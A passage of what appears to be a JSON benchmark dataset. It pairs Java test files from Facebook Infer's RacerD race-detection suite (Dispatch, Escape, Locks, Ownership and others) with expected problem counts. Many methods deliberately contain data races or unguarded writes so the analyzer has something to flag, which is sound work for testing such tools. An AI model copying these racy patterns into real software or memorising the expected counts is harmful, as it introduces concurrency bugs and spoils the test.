loseOwnershipOfNext() {\n synchronized (this) {\n this.next = global;\n }\n }\n\n void FN_loseOwnershipInCalleeBad() {\n DeepOwnership x = new DeepOwnership();\n x.next = new DeepOwnership();\n loseOwnershipOfNext();\n x.next.next = null; // doesn't warn here\n }\n}\n" + }, + { + "testname": "Dispatch.java", + "testlanguage": "java", + "expected-problems": 39, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.checkers;\n\nimport com.facebook.infer.annotation.ThreadConfined;\nimport com.facebook.infer.annotation.ThreadSafe;\n\ninterface UnannotatedInterface {\n public void foo();\n}\n\n@ThreadSafe\ninterface AnnotatedInterface {\n public void foo();\n}\n\ninterface AnnotatedInterfaceMethod {\n\n @ThreadSafe\n public void foo();\n}\n\nclass NotThreadSafe {\n void notThreadSafeOk(UnannotatedInterface i) {\n i.foo(); // ok\n }\n}\n\n@ThreadConfined(ThreadConfined.ANY)\ninterface ThreadConfinedInterface {\n void foo();\n}\n\ninterface ThreadConfinedMethod {\n\n @ThreadConfined(ThreadConfined.ANY)\n void foo();\n}\n\n@ThreadSafe\npublic class Dispatch {\n\n void callUnannotatedInterfaceBad(UnannotatedInterface i) {\n i.foo();\n }\n\n void callUnannotatedInterfaceIndirectBad(NotThreadSafe s, UnannotatedInterface i) {\n s.notThreadSafeOk(i);\n }\n\n synchronized void callUnannotatedInterfaceUnderLockOk(NotThreadSafe s, UnannotatedInterface i) {\n s.notThreadSafeOk(i);\n }\n\n void callAnnotatedInterfaceOk(AnnotatedInterface i) {\n i.foo();\n }\n\n void callAnnotatedInterfaceMethodOk(AnnotatedInterfaceMethod i) {\n i.foo();\n }\n\n void callThreadConfinedInterfaceOk(ThreadConfinedInterface t) {\n t.foo();\n }\n\n void callThreadConfinedInterfaceMethodOk(ThreadConfinedMethod t) {\n t.foo();\n }\n\n public void callUnderLock(AnnotatedInterface i) {\n synchronized (this) {\n i.foo();\n }\n }\n\n private void privateCallUnnanotatedInterfaceOk(UnannotatedInterface i) {\n i.foo();\n }\n\n public void callOwnedUnnanotatedInterfaceOk() {\n UnannotatedInterface owned = new UnannotadedImplementation();\n privateCallUnnanotatedInterfaceOk(owned);\n }\n\n UnannotatedInterface mUnannotated;\n\n private void privateCallOk() {\n mUnannotated.foo();\n }\n\n public void publicCallBad() {\n privateCallOk();\n }\n\n public Dispatch() {\n // this is OK even though public, since the object is owned\n privateCallOk();\n }\n}\n\nclass Some {\n\n void callFromElsewhere(Dispatch d, AnnotatedInterface i) {\n d.callUnderLock(i);\n }\n}\n\n@ThreadSafe\nclass ThreadConfinedField {\n @ThreadConfined(ThreadConfined.ANY)\n UnannotatedInterface mThreadConfined;\n\n UnannotatedInterface mNormal;\n\n void interfaceCallOnThreadConfinedFieldOk() {\n mThreadConfined.foo();\n }\n\n void interfaceCallOnNormalFieldBad() {\n mNormal.foo();\n }\n}\n\nclass UnannotadedImplementation implements UnannotatedInterface {\n public void foo() {}\n}\n" + }, + { + "testname": "DoNotReport.java", + "testlanguage": "java", + "expected-problems": 4, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage com.racerd.donotreport;\n\nimport com.facebook.infer.annotation.ThreadSafe;\n\n@ThreadSafe\nclass DoNotReport {\n\n int mFld;\n\n // normally we would report this, but we won't because com.racerd.donotreport is block listed in\n // .inferconfig\n void obviousRaceBad(int i) {\n mFld = i;\n }\n}\n" + }, + { + "testname": "Escape.java", + "testlanguage": "java", + "expected-problems": 41, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.checkers;\n\nimport javax.annotation.concurrent.ThreadSafe;\n\n@ThreadSafe\npublic class Escape {\n\n private Obj mField;\n private static Obj sGlobal;\n\n // this can race with unsafe writes to mField.f\n public synchronized Object racyRead1() {\n return mField.f;\n }\n\n // this can race with unsafe writes to mField.f\n public synchronized Object racyRead2() {\n return sGlobal.f;\n }\n\n public void FN_fieldEscapeBad() {\n Obj o = new Obj();\n synchronized (this) {\n mField = o;\n }\n o.f = new Object(); // not safe\n }\n\n public void FN_globalEscapeBad() {\n Obj o = new Obj();\n synchronized (Escape.class) {\n sGlobal = o;\n }\n o.f = new Object(); // not safe\n }\n\n public synchronized void escapeInCallee(Obj o) {\n mField = o;\n }\n\n public void FN_escapeInCalleeBad() {\n Obj o = new Obj();\n escapeInCallee(o);\n o.f = new Object();\n }\n\n public void aliasOk() {\n Obj o = new Obj(); // though there's two pointers to this address, neither escapes\n Obj alias = o;\n o.f = null;\n alias.f = null;\n }\n\n public void nonAliasReadOk() {\n Obj o = new Obj();\n String s = o + \"a\";\n o.f = null; // ok\n }\n\n public void FN_escapeViaAliasBad1() {\n Obj o = new Obj();\n Obj alias = o;\n escapeInCallee(alias);\n o.f = null; // bad\n alias.f = null; // bad\n }\n\n public void FN_escapeViaAliasBad2() {\n Obj o = new Obj();\n Obj alias = o;\n escapeInCallee(o);\n o.f = null; // bad\n alias.f = null; // bad\n }\n\n public Obj id(Obj o) {\n return o;\n }\n\n public void FN_aliasViaReturnBad1() {\n Obj o = new Obj();\n Obj alias = id(o);\n escapeInCallee(alias);\n o.f = null; // bad\n alias.f = null; // bad\n }\n\n public void FN_aliasViaReturnBad2() {\n Obj o = new Obj();\n Obj alias = id(o);\n escapeInCallee(o);\n o.f = null; // bad\n alias.f = null; // bad\n }\n\n private void twoParamsOneEscapes(Obj o1, Obj o2) {\n synchronized (Escape.class) {\n sGlobal = o1;\n }\n o1.f = null; // only safe if o1/o2 not aliased\n }\n\n public void FN_aliasedParamsBad() {\n Obj o = new Obj();\n twoParamsOneEscapes(o, o); // should report racy write in callee\n o.f = null; // bad\n }\n\n public void nonAliasedParamsOk() {\n Obj o1 = new Obj();\n Obj o2 = new Obj();\n twoParamsOneEscapes(o1, o2);\n o2.f = null; // ok\n }\n}\n\n@ThreadSafe\nclass Leaky {\n\n Leaky mLeak;\n Object mField;\n Object sGlobal;\n\n public Leaky() {\n mLeak = this;\n }\n\n public void FN_leakyConstructorBad() {\n Leaky l = new Leaky();\n synchronized (Leaky.class) {\n sGlobal = l.mLeak; // oops, this leaks l\n }\n l.mField = 1; // bad\n }\n}\n" + }, + { + "testname": "GuardedByTests.java", + "testlanguage": "java", + "expected-problems": 56, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.infer;\n\nimport com.facebook.infer.annotation.ThreadSafe;\nimport com.google.common.annotations.VisibleForTesting;\nimport javax.annotation.concurrent.GuardedBy;\n\npublic class GuardedByTests {\n private Object mlock = new Object();\n\n @GuardedBy(\"mLock\")\n private int a;\n\n public GuardedByTests() {\n // don't warn on reads or writes of Guarded fields in constructor\n a = 0;\n }\n\n public void lockedWriteOk() {\n synchronized (mlock) {\n a = 0;\n }\n }\n\n @GuardedBy(\"mLock\")\n private int b;\n\n public void unlockedWriteBad() {\n b = 0;\n }\n\n @GuardedBy(\"mLock\")\n private int c;\n\n public int unlockedReadOk() {\n return c;\n }\n\n public int lockedReadOk() {\n synchronized (mlock) {\n return c;\n }\n }\n\n @GuardedBy(\"mLock\")\n private int d;\n\n private void privateUnlockedWriteOk() {\n d = 0;\n }\n\n public void interprocUnlockedWriteBad() {\n privateUnlockedWriteOk();\n }\n\n @GuardedBy(\"mLock\")\n private int e;\n\n private int privateUnlockedReadOk() {\n return e;\n }\n\n public int interprocUnlockedReadOk() {\n return privateUnlockedReadOk();\n }\n\n @GuardedBy(\"mLock\")\n private int f;\n\n // NB ThreadSafe annotation disables GuardedBy check too\n @ThreadSafe(enableChecks = false)\n void suppressedWrite() {\n f = 0;\n }\n\n @GuardedBy(\"mLock\")\n private int h;\n\n @VisibleForTesting\n public void visibleForTestingOk() {\n h = 0;\n }\n\n static Object slock = new Object();\n\n @GuardedBy(\"slock\")\n static int sf;\n\n static {\n // don't warn on class initializer\n sf = 0;\n }\n\n @GuardedBy(\"this\")\n int i;\n\n synchronized void syncWriteOk() {\n i = 5;\n }\n\n synchronized int syncReadOk() {\n return i;\n }\n\n GuardedByOther o;\n\n void accessThroughMemberObjectOk() {\n o.accessBad();\n }\n\n void accessIndirectOk(GuardedByOther o) {\n o.accessBad();\n }\n}\n\nclass GuardedByOther {\n @GuardedBy(\"bla\")\n int x;\n\n void accessBad() {\n x = 0;\n }\n}\n\nclass GuardedByUiThread {\n @GuardedBy(\"UiThReAd\")\n int a;\n\n @GuardedBy(\"ui-thread\")\n int b;\n\n @GuardedBy(\"UI thread\")\n int c;\n\n @GuardedBy(\"UI_THREAD\")\n int d;\n\n void uithreadOk() {\n a = b = c = d = 0;\n }\n}\n" + }, + { + "testname": "Ignored.java", + "testlanguage": "java", + "expected-problems": 6, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\npackage codetoanalyze.java.racerd;\n\nimport javax.annotation.concurrent.ThreadSafe;\n\n@ThreadSafe\nclass Ignored {\n IgnoredSub s;\n\n void zeroOk() {\n s.zeroOk();\n }\n}\n\n@ThreadSafe\nclass IgnoredSub {\n int i;\n\n void zeroOk() {\n i = 0;\n }\n\n int getOk() {\n return i;\n }\n}\n" + }, + { + "testname": "Inference.java", + "testlanguage": "java", + "expected-problems": 22, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.checkers;\n\n// test that we can infer when code needs to be thread-safe even without annotations\npublic class Inference {\n\n int mField1;\n\n synchronized void writeUnderLock1Ok() {\n mField1 = 1;\n }\n\n // should report because there's a write in a method that we think can run on multiple threads\n int unprotectedRead1Bad() {\n int ret = mField1;\n return ret;\n }\n\n int mField2;\n\n void writeUnderLock2Ok() {\n synchronized (this) {\n mField2 = 2;\n }\n }\n\n int unprotectedRead2Bad() {\n int ret = mField2;\n return ret;\n }\n\n // TODO: handle these casely separately, since assuming that any method whose (transitive) callee\n // uses a lock can run on multiple threads may cause a lot of false positives\n int mField3;\n\n // empty call that uses a lock\n private synchronized void useLock() {}\n\n int useLockInCalleeThenReadBad() {\n useLock();\n return mField3;\n }\n\n void FN_writeToFieldWrittenInLockUsingMethodBad() {\n mField3 = 3;\n }\n\n int mField4;\n int mField5;\n\n synchronized int readInsideSyncCoincidentally() {\n mField4 = 4; // we will assume this needs to be protected...\n int ret = mField5; // ...but not this\n return ret;\n }\n\n int read4OutsideSyncBad() {\n int ret = mField4; // report\n return ret;\n }\n\n void write5OutsideSyncOk() {\n mField5 = 5; // don't report\n }\n}\n" + }, + { + "testname": "Locks.java", + "testlanguage": "java", + "expected-problems": 94, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.checkers;\n\nimport java.util.concurrent.locks.Lock;\nimport java.util.concurrent.locks.ReadWriteLock;\nimport java.util.concurrent.locks.ReentrantLock;\nimport java.util.concurrent.locks.ReentrantReadWriteLock;\nimport javax.annotation.concurrent.ThreadSafe;\n\n@ThreadSafe\npublic class Locks {\n Integer f;\n\n Lock mLock;\n ReadWriteLock mReadWriteLock;\n ReentrantLock mReentrantLock;\n ReentrantReadWriteLock mReentrantReadWriteLock;\n\n // we allow this for now\n public void FN_lockInOneBranchBad(boolean b) {\n if (b) {\n mLock.lock();\n }\n f = 24;\n if (b) {\n mLock.unlock();\n }\n }\n\n public void afterUnlockBad() {\n mLock.lock();\n mLock.unlock();\n f = 42;\n }\n\n public void afterReentrantLockUnlockBad() {\n mReentrantLock.lock();\n mReentrantLock.unlock();\n f = 42;\n }\n\n public void afterWriteLockUnlockBad() {\n mReentrantReadWriteLock.writeLock().lock();\n mReentrantReadWriteLock.writeLock().unlock();\n f = 42;\n }\n\n public void lockOk() {\n mLock.lock();\n f = 42;\n mLock.unlock();\n }\n\n public void lockBothBranchesOk(boolean b) {\n if (b) {\n mLock.lock();\n } else {\n mLock.lock();\n }\n f = 42;\n mLock.unlock();\n }\n\n public void reentrantLockOk() {\n mReentrantLock.lock();\n f = 42;\n mReentrantLock.unlock();\n }\n\n public void normalLockTryLockOk() {\n if (mLock.tryLock()) {\n f = 42;\n mLock.unlock();\n }\n }\n\n public void reentrantLockTryLockOk() {\n if (mReentrantLock.tryLock()) {\n f = 42;\n mReentrantLock.unlock();\n }\n }\n\n public void tryLockNoCheckBad() {\n mReentrantLock.tryLock(); // might return false\n f = 42;\n }\n\n public void tryLockWrongBranchBad() {\n if (mReentrantLock.tryLock()) {\n } else {\n f = 42;\n }\n }\n\n public void tryLockPropagateOk() {\n boolean result = mReentrantLock.tryLock();\n boolean copy = result;\n if (copy) {\n f = 42;\n }\n }\n\n public void negatedReentrantLockTryLockBad() {\n if (!mReentrantLock.tryLock()) {\n f = 42;\n }\n }\n\n public void negatedReentrantLockTryLockOk() {\n if (!mReentrantLock.tryLock()) {\n\n } else {\n f = 42;\n }\n }\n\n // we could catch this by invalidating the choice predicates whenever we update the lock domain\n public void FN_tryLockStaleBad() {\n boolean result = mReentrantLock.tryLock();\n mReentrantLock.unlock();\n if (result) {\n f = 42; // oops, actually not safe\n }\n }\n\n public void reentrantLockInterruptiblyOk() throws InterruptedException {\n mReentrantLock.lockInterruptibly();\n f = 42;\n mReentrantLock.unlock();\n }\n\n private void acquireLock() {\n mLock.lock();\n }\n\n public void acquireLockInCalleeOk() {\n acquireLock();\n f = 42;\n mLock.unlock();\n }\n\n public void writeLockOk() {\n mReadWriteLock.writeLock().lock();\n f = 42;\n mReadWriteLock.writeLock().unlock();\n }\n\n public void reentrantWriteLockOk() {\n mReentrantReadWriteLock.writeLock().lock();\n f = 42;\n mReentrantReadWriteLock.writeLock().unlock();\n }\n\n private void releaseLock() {\n mLock.unlock();\n }\n\n void nested1Ok() {\n synchronized (this) {\n synchronized (this) {\n }\n // a bad abstraction of locks will treat this as unlocked...\n f = 32;\n }\n }\n\n void nested2Ok() {\n synchronized (this) {\n synchronized (this) {\n f = 32;\n }\n }\n }\n\n void nested3Ok() {\n synchronized (this) {\n f = 32;\n synchronized (this) {\n }\n }\n }\n\n void nested1Bad() {\n synchronized (this) {\n synchronized (this) {\n }\n }\n f = 32;\n }\n\n void nested2Bad() {\n synchronized (this) {\n }\n f = 32;\n synchronized (this) {\n }\n }\n\n void nested3Bad() {\n synchronized (this) {\n }\n synchronized (this) {\n }\n f = 32;\n }\n\n void useLock() {\n synchronized (this) {\n }\n }\n\n void useLockInCalleeBad() {\n useLock();\n f = 32;\n }\n\n void lockInLoopOk(int i) {\n while (i > 0) {\n i++;\n mLock.lock();\n }\n f = 32;\n }\n\n void unlockInLoopOk(int i) {\n mLock.lock();\n while (i > 0) {\n i++;\n mLock.unlock();\n }\n f = 32;\n }\n\n void lockInLoopLexicalBad(int i) {\n while (i > 0) {\n i++;\n synchronized (this) {\n }\n }\n f = 32;\n }\n\n void lockInLoopLexicalOk(int i) {\n while (i > 0) {\n i++;\n synchronized (this) {\n f = 32;\n }\n }\n }\n\n void loopInLockLexicalBad(int i) {\n synchronized (this) {\n while (i > 0) {\n i++;\n }\n f = 32;\n }\n }\n\n public void unlockOneLockOk() {\n mLock.lock();\n mReentrantLock.lock();\n mReentrantLock.unlock();\n f = 42;\n mLock.unlock();\n }\n\n // ... or here\n public void FN_releaseLockInCalleeBad() {\n mLock.lock();\n releaseLock();\n f = 42;\n }\n\n // we shouldn't be able to write when holding a readLock\n public void FN_readLockOk() {\n mReentrantReadWriteLock.readLock().lock();\n f = 42;\n mReentrantReadWriteLock.readLock().unlock();\n }\n\n boolean mField;\n\n boolean readUnderLockOk() {\n synchronized (this) {\n return mField;\n }\n }\n\n void writeUnderLockOk() {\n synchronized (this) {\n mField = true;\n }\n }\n\n boolean readOutsideLock1Bad() {\n synchronized (this) {\n }\n return mField;\n }\n\n boolean readOutsideLock2Bad() {\n boolean tmp = mField;\n synchronized (this) {\n }\n return tmp;\n }\n\n public boolean readInTryCatchWithLockOk() {\n mLock.lock();\n try {\n return mField;\n } finally {\n mLock.unlock();\n }\n }\n\n public void writeInsideTryCatchWithLockOk() {\n mLock.lock();\n try {\n mField = true;\n } finally {\n mLock.unlock();\n }\n }\n\n Object mField2;\n\n private synchronized void lockedWriteInCallee() {\n this.mField2 = null;\n }\n\n public static void ownedLockedReadOk() {\n Locks owned = new Locks();\n owned.lockedWriteInCallee();\n }\n\n public Object unownedReadOk() {\n // safe because the only other access to mField is owned\n return this.mField2;\n }\n\n Object mField3;\n\n private synchronized void lockedWriteInCallee2() {\n this.mField3 = null;\n }\n\n public void unownedLockedWriteOk() {\n lockedWriteInCallee2();\n }\n\n public Object unownedReadBad() {\n return this.mField3;\n }\n}\n" + }, + { + "testname": "NonSourceVar.java", + "testlanguage": "java", + "expected-problems": 5, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.checkers;\n\nimport javax.annotation.concurrent.ThreadSafe;\n\n// TODO fix FN T38248006\n@ThreadSafe\npublic class NonSourceVar {\n private long field;\n\n public void FN_conditionalOperatorBad(long v) {\n field = field < v ? field : v;\n }\n}\n" + }, + { + "testname": "NotThreadSafeExample.java", + "testlanguage": "java", + "expected-problems": 4, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.checkers;\n\nimport javax.annotation.concurrent.NotThreadSafe;\n\n@NotThreadSafe\npublic class NotThreadSafeExample {\n\n Integer f;\n\n public void tsBad() {\n /*Shouldn't report*/\n f = 24;\n }\n}\n" + }, + { + "testname": "Ownership.java", + "testlanguage": "java", + "expected-problems": 143, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.checkers;\n\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.InvocationTargetException;\nimport java.util.ArrayList;\nimport javax.annotation.concurrent.ThreadSafe;\nimport javax.inject.Inject;\nimport javax.inject.Provider;\n\nclass Obj {\n Object f;\n Obj g;\n}\n\ninterface CustomProvider extends Provider {\n\n @Override\n public T get();\n}\n\n@ThreadSafe\npublic class Ownership {\n\n Obj field;\n\n public Ownership() {}\n\n public Ownership(Obj o) {\n field = o;\n }\n\n // understand that ownership can be acquired via DI\n @Inject\n Ownership(Provider objProvider) {\n Obj owned = objProvider.get();\n owned.f = new Object(); // should not report\n }\n\n @Inject\n Ownership(CustomProvider objProvider) {\n Obj owned = objProvider.get();\n owned.f = new Object(); // should not report\n }\n\n Obj mInjectedField1;\n Obj mInjectedField2;\n\n // because this constructor is meant to be called via DI, we assume that injectedField and other\n // parameters passed to the constructor will always be freshly allocated\n @Inject\n Ownership(Obj injectedField1, Obj injectedField2) {\n mInjectedField1 = injectedField1;\n mInjectedField2 = injectedField2;\n mInjectedField1.f = new Object(); // should not warn\n mInjectedField2.f = new Object(); // should not warn\n }\n\n Ownership(Obj obj, Object o) {\n obj.f = o; // not annotated @Inject; should warn\n }\n\n native void leakToAnotherThread(Object o);\n\n public void escapeViaConstructorBad() {\n Obj local = new Obj();\n Ownership constructed = new Ownership(local);\n local.f = new Object();\n }\n\n public void ownInOneBranchBad(Obj formal, boolean b) {\n if (b) {\n formal = new Obj();\n }\n // we might not own formal\n formal.f = new Object();\n }\n\n public void reassignToFormalBad(Obj formal) {\n Obj local = new Obj();\n formal.g = local; // bad, we don't own formal\n formal.g.f = new Object(); // ok; now that formal.g is reassigned to local, which we do own\n }\n\n public void ownedLocalOk() {\n Obj local = new Obj();\n local.f = new Object();\n }\n\n public Obj returnOwnedLocalOk() {\n Obj local = new Obj();\n local.f = new Object();\n return local;\n }\n\n public void writeOwnedLocalThenEscapeOk() {\n Obj local = new Obj();\n local.f = new Object();\n leakToAnotherThread(local);\n }\n\n public void ownInBranchesOk1(boolean b) {\n Obj local;\n if (b) {\n local = new Obj();\n local.f = new Object();\n } else {\n local = new Obj();\n local.f = new Integer(0);\n }\n local.f = new Boolean(false);\n }\n\n public void ownedAccessPathOk() {\n Obj local = new Obj();\n local.g = new Obj();\n local.g.f = new Object();\n }\n\n public void aliasOwnedLocalOk() {\n Obj local = new Obj();\n Obj alias = local;\n alias.f = new Object();\n local.f = new Object();\n }\n\n public void aliasOwnedLocalAccessPathOk() {\n Obj local = new Obj();\n local.g = new Obj();\n Obj alias = local.g;\n alias.f = new Object();\n }\n\n private void writeToFormal(Obj formal) {\n formal.f = new Object();\n }\n\n private void callWriteToFormal(Obj formal) {\n writeToFormal(formal);\n }\n\n private void setField(Obj o) {\n this.field = o;\n }\n\n native Obj getMaybeUnownedObj();\n\n // warn here even though this this is safe if `o` is owned at all call sites. because it's a\n // public method, it's possible to use it in an unsafe way\n public void writeToNotOwnedInCalleeBad1(Obj o) {\n writeToFormal(o);\n }\n\n public void FN_writeToNotOwnedInCalleeBad2() {\n Obj o = getMaybeUnownedObj();\n writeToFormal(o);\n }\n\n public void writeToNotOwnedInCalleeBad3(Obj o) {\n callWriteToFormal(o);\n }\n\n // assuming that we can't own the `this` object\n public void cantOwnThisBad() {\n setField(new Obj());\n }\n\n public void writeToOwnedInCalleeOk1() {\n Obj o = new Obj();\n writeToFormal(o);\n }\n\n public void writeToOwnedInCalleeIndirectOk1() {\n Obj o = new Obj();\n callWriteToFormal(o);\n }\n\n public void writeToOwnedInCalleeIndirectOk2() {\n Obj o = new Obj();\n o.g = new Obj();\n callWriteToFormal(o.g);\n }\n\n public Obj ownershipCanBeInterproceduralOk() {\n Obj local = returnOwnedLocalOk();\n local.f = new Object();\n return local;\n }\n\n public void mutateDoubleReturnOwnedOk() {\n Obj owned = ownershipCanBeInterproceduralOk();\n owned.g = new Obj();\n }\n\n Obj returnOwnedOrNull(boolean b) {\n if (b) {\n return null;\n }\n return new Obj();\n }\n\n public void mutateAfterNullCheckOK(boolean b) {\n Obj o = returnOwnedOrNull(b);\n if (o != null) {\n o.f = new Object();\n }\n }\n\n private void mutateIfNotNull(Obj o) {\n if (o != null) {\n o.f = new Object();\n }\n }\n\n public void ownInCalleeViaNullOk() {\n mutateIfNotNull(null);\n }\n\n public void notOwnedInCalleeBad(Obj o) {\n mutateIfNotNull(o);\n }\n\n Obj id(Obj param) {\n return param;\n }\n\n public void passOwnershipInIdFunctionOk() {\n Obj owned = new Obj();\n Obj shouldBeOwned = id(owned);\n shouldBeOwned.f = new Object();\n }\n\n Obj id2(Obj param) {\n return id(param);\n }\n\n public void passOwnershipInMultiLevelIdFunctionOk() {\n Obj owned = new Obj();\n Obj shouldBeOwned = id2(owned);\n shouldBeOwned.f = new Object();\n }\n\n native boolean nondet();\n\n public Obj returnConditionalOwnedInTwoBranches(Obj param) {\n if (nondet()) {\n return param;\n }\n return param;\n }\n\n public void returnConditionalOwnedInTwoBranchesOk() {\n Obj owned = new Obj();\n Obj shouldBeOwned = returnConditionalOwnedInTwoBranches(owned);\n shouldBeOwned.f = new Object();\n }\n\n public Obj returnOwnedOrConditionalOwned(Obj param) {\n if (nondet()) {\n return param;\n } else {\n return new Obj();\n }\n }\n\n public void ownedAfterCastOk() {\n Object o = new Obj();\n Obj owned = (Obj) o;\n owned.f = new Object();\n }\n\n // TODO: need to handle multiple ownership attributes in order to get this one\n public void ownAndConditionalOwnOk() {\n Obj owned = new Obj();\n Obj shouldBeOwned = returnOwnedOrConditionalOwned(owned);\n shouldBeOwned.f = new Object();\n }\n\n public Obj twoDifferentConditionalOwns(Obj param1, Obj param2) {\n if (nondet()) {\n return param1;\n } else {\n return param2;\n }\n }\n\n public void threadLocalOk(ThreadLocal threadLocal) {\n threadLocal.get().f = new Object();\n }\n\n // need to handle multiple ownership attributes in order to get this one\n public void twoDifferentConditionalOwnsOk() {\n Obj owned1 = new Obj();\n Obj owned2 = new Obj();\n Obj shouldBeOwned = twoDifferentConditionalOwns(owned1, owned2);\n shouldBeOwned.f = new Object();\n }\n\n // we angelically assume that callees don't leak their arguments to another thread for now, so\n // we'll miss this\n public void FN_escapeThenWriteLocalBad() {\n Obj local = new Obj();\n leakToAnotherThread(local);\n local.f = new Object();\n }\n\n private Obj leakThenReturn() {\n Obj local = new Obj();\n leakToAnotherThread(local);\n return local;\n }\n\n // the summary for leakThenReturn should not say that the caller owns the return value\n public void FN_mutateReturnedBad() {\n Obj notOwned = leakThenReturn();\n notOwned.f = new Object(); // should warn here\n }\n\n private void castThenCall(Obj o) {\n Subclass s = (Subclass) o;\n s.doWrite();\n }\n\n void castThenCallOk() {\n Obj o = new Obj();\n castThenCall(o);\n }\n\n void FN_castThenCallBad() {\n Obj o = getMaybeUnownedObj();\n castThenCall(o);\n }\n\n private Obj castThenReturn(Obj o) {\n Subclass s = (Subclass) o;\n return s;\n }\n\n void castThenReturnOk() {\n Obj o = new Obj();\n castThenReturn(o).f = new Object();\n }\n\n void FN_castThenReturnBad() {\n Obj o = getMaybeUnownedObj();\n castThenReturn(o).f = new Object();\n }\n\n void ownViaReflectionOk1() throws InstantiationException, IllegalAccessException {\n Class oClass = Obj.class;\n Obj o = oClass.newInstance();\n o.f = new Object();\n }\n\n void ownViaReflectionOk2()\n throws IllegalAccessException, InstantiationException, InvocationTargetException,\n NoSuchMethodException {\n Class oClass = Obj.class;\n Constructor oConstructor = oClass.getConstructor();\n Obj o = oConstructor.newInstance();\n o.f = new Object();\n }\n\n void ownInSkippedCodeOk() {\n SkippedClass c = SkippedClass.returnOwned();\n c.f = new Object();\n }\n\n void cloningAquiresOwnershipOk() {\n Ownership ow;\n try {\n ow = (Ownership) this.clone();\n ow.field = null;\n } catch (CloneNotSupportedException e) {\n }\n }\n\n static MyObj global;\n\n // would need escape analysis to detect this\n void FN_storeInGlobalAndWriteBad() {\n MyObj x = new MyObj();\n synchronized (Ownership.class) {\n global = x;\n }\n x.data = 5;\n }\n\n int readGlobalBad() {\n return global.data;\n }\n\n public void writeOwnedWithExceptionOk() {\n Obj options = returnOwnedWithException();\n options.f = new Object();\n }\n\n private Obj returnOwnedWithException() {\n Obj options = new Obj();\n if (options.f == null) {\n throw new IllegalArgumentException();\n }\n return options;\n }\n\n // not propagating ownership to access path rooted in formal\n public void notPropagatingOwnershipToAccessPathRootedAtFormalBad(Obj m) {\n m.g = new Obj();\n }\n\n // not propagating ownership to unowned local access path\n public void notPropagatingOwnershipToUnownedLocalAccessPathBad() {\n Obj m;\n synchronized (this) {\n m = field;\n }\n m.g = new Obj();\n }\n\n // propagating ownership to owned access path\n public void propagatingOwnershipToOwnedAccessPathOk() {\n Obj m = new Obj();\n m.g = new Obj();\n m.g.g = new Obj();\n m.g.g.g = new Obj();\n }\n\n private void reassignParamToOwned(Obj o) {\n o = new Obj();\n o.f = null; // we know the reassigned o is owned, mutating is ok\n }\n\n Obj unownedField1;\n\n void reassignParamToOwnedOk() {\n reassignParamToOwned(this.unownedField1); // ok even though this.unownedField1 isn't owned\n }\n\n Obj unownedField2;\n\n private void reassignParamToUnowned(Obj o) {\n o = this.unownedField2;\n o.f = null; // don't know that this.unownedField2 is owned\n }\n\n void FN_reassignParamToUnownedBad() {\n reassignParamToUnowned(new Obj()); // although o is owned here, it gets reassigned in the callee\n }\n\n void ownedViaLocalAliasOk() {\n Obj owned = new Obj();\n Obj alias = owned;\n alias.f = null;\n owned.f = new Object();\n }\n\n private void ownedViaParamAlias(Obj o) {\n Obj alias = o;\n alias.f = null; // ok if o is owned in caller\n o.f = new Object(); // ok if alias is owned in\n }\n\n public void ownedViaAliasOk() {\n Obj owned = new Obj();\n ownedViaParamAlias(owned);\n }\n\n Obj unownedField3;\n\n private void ownedViaThisAlias() {\n Ownership alias = this;\n alias.unownedField3 = null; // ok if this owned in caller\n this.unownedField3 = new Obj(); // also ok if this is owned in caller\n }\n\n public static void ownedViaThisAliasOk() {\n Ownership owned = new Ownership();\n owned.ownedViaThisAlias();\n }\n\n boolean nondet;\n\n private void conditionalAlias(Obj o1, Obj o2) {\n Obj alias;\n if (nondet) {\n alias = o1;\n } else {\n alias = o2;\n }\n alias.f = null; // ok if both o1 and o2 are owned\n }\n\n void conditionalAliasOk() {\n conditionalAlias(new Obj(), new Obj());\n }\n\n void FN_conditionalAliasBad(Obj unowned) {\n conditionalAlias(new Obj(), unowned);\n }\n}\n\nclass MyObj {\n int data;\n}\n\nclass Subclass extends Obj {\n\n public void doWrite() {\n f = new Object();\n }\n}\n\n@ThreadSafe\nclass OtherObj {\n private OtherObj(Obj o) {\n o.f = new Object();\n }\n\n void mutateInConstructorOk() {\n new OtherObj(new Obj());\n }\n}\n\n@ThreadSafe\nclass ContainerOwnership {\n\n ContainerOwnership() {\n ArrayList children = new ArrayList();\n setFirstOk(children);\n }\n\n private void setFirstOk(ArrayList children) {\n MyObj obj = children.get(0);\n\n if (obj == null) {\n obj = new MyObj();\n }\n\n obj.data = 10;\n }\n}\n" + }, + { + "testname": "RaceWithMainThread.java", + "testlanguage": "java", + "expected-problems": 60, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n 